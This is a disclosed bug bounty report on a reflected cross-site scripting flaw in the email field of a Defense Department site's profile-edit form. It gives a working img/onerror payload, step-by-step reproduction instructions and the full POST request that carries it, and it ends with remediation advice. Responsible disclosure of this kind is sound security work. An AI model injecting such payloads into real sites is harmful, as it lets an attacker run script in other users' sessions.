U.S. Dept Of Defense · Report #799839
Reflected XSS - in Email Input
Validstatus
mediumseverity
1upvotes
18 Mar 2022disclosed
How it was found
Target Url https://█████
Summary: Hello, I found a reflected xss injection in the email input when updating user profile. Seems Email input is not sanitized and the special characters are not encoded.
xss payload used "><img src=x onerror=alert(1);>
Step-by-step Reproduction Instructions
- Navigate to the target url
https://███/█████/and login. - Then go to
My Profile. - Set any password. In Email input, add the payload next to the email.
Example
[email protected]"><img src=x onerror=alert(1);>Then click save.
See this POST Request
POST /██████/edit_profile/ HTTP/1.1
Host: ████████
REQUEST HEADER HERE
-----------------------------191691572411478
Content-Disposition: form-data; name="action"
save_info
-----------------------------191691572411478
Content-Disposition: form-data; name="password[original]"
NEWPASSWORD
-----------------------------191691572411478
Content-Disposition: form-data; name="password[confirmed]"
NEWPASSWORD
-----------------------------191691572411478
Content-Disposition: form-data; name="email[original]"
███████"><img src=x onerror=alert(1);>
-----------------------------191691572411478--
And an Alert will pop up ;) █████████
Suggested Mitigation/Remediation Actions
Sanitize input fields or encode/escape special characters to avoid xss.
Impact
An attacker can execute malicious javascript codes on the target application.
Hope this is not duplicate :|